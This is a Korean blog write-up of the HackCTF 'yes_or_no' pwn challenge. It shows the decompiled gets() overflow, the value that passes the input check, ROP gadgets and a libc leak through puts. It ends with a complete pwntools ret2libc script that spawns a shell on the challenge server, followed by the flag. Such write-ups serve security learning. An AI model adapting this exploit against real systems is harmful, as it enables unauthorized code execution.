예 또는 아니요 문제다. ㅇㅂㅇ 실행해보고 ida로 열어보자.
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
이 부분 gets(&s); 에서 BOF가 터지는 것 같다.
앞부분 if 문들을 지나서 gets()까지 가보자.
gets() 전 puts()에 들어갈 문자열도 확인할 수 있다.
두 번째 사각형의 if에서 거짓을 만들어서 gets()로 가야 한다.
먼저, 첫 번째 사각형을 먼저 보자.
1. atoi() 는 char -> int 형으로 바꿔주는 함수이다.
2. 두 번째 사각형에서 v4는 0이기 때문에 첫 번째 입력에서 숫자만 입력해주면 우회 가능하다.
3. gdb에서 v10을 확인하자.
두 번째 사각형 바로 뒤쯤 bp를 걸어주고 실행하자.
v10의 값이 RAX에 들어가있는걸 확인할 수 있다.
사각형 내부에는 v10 = 0x960000이기 때문에 첫 번째 입력에서 9830400을 입력해주면 두 번째 입력까지 우회 가능하다.
1. system함수 주소와 /bin/sh문자열, 가젯을 구해야한다.
2. 프로그램 내부에 없는 것들을 구하기 위해선 libc 파일에서 offset으로 구해준다.
3. aslr이 걸려있으므로 libc base leak을 통해 libc base 주소를 구한다.
4. libc base를 구하면 거의 모든 함수의 주소를 구할 수 있게 된다.
가젯 추출을 하자.
$ ROPgadget --binary yes_or_no
rdi = 첫 번째 인자
- prr = 0x400883
- ret = 0x40056e
libc base addr = 함수 실제주소 - libc상의 함수 주소
system addr = libc base + libc상의 system주소
이제 익스 코드를 작성해보자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3009)
#r = process("./yes_or_no")
e = ELF("./yes_or_no")
lib = ELF("./libc-2.27.so")
ret = p64(0x40056e)
pr = p64(0x400883)
system_off = 0x4f440
puts_off = 0x809c0
puts_got = p64(e.got['puts'])
puts_plt = p64(e.plt['puts'])
main_addr = p64(e.symbols['main'])
r.recvuntil("Show me your number~!\n")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me\n")
payload = b"A"*26
payload += pr
payload += puts_got
payload += puts_plt
payload += main_addr
r.sendline(payload)
puts_addr = r.recv(6)
puts_addr += b"\x00\x00"
puts_addr = u64(puts_addr)
libc_base = puts_addr - puts_off
system_addr = p64(libc_base + system_off)
binsh = p64(libc_base + list(lib.search(b"/bin/sh"))[0])
r.recvuntil("Show me your number~!\n")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me\n")
payload = b"A"*26
payload += pr
payload += binsh
payload += ret
payload += system_addr
r.sendline(payload)
r.interactive()
실행해보자.
플래그는 HackCTF {4nd_4_P4 ssing_necklace_in_h1s_h4nd}이다.
'HackCTF > WriteUp' 카테고리의 다른 글
HackCTF - BOF_PIE [150] (0) | 2021.01.19 |
---|---|
HackCTF - Offset [150] (0) | 2021.01.19 |
HackCTF - Simple_Overflow_ver_2 [150] (0) | 2021.01.19 |
HackCTF - x64 Simple_size_BOF [150] (0) | 2021.01.17 |
HackCTF - x64 Buffer Overflow [150] (0) | 2021.01.13 |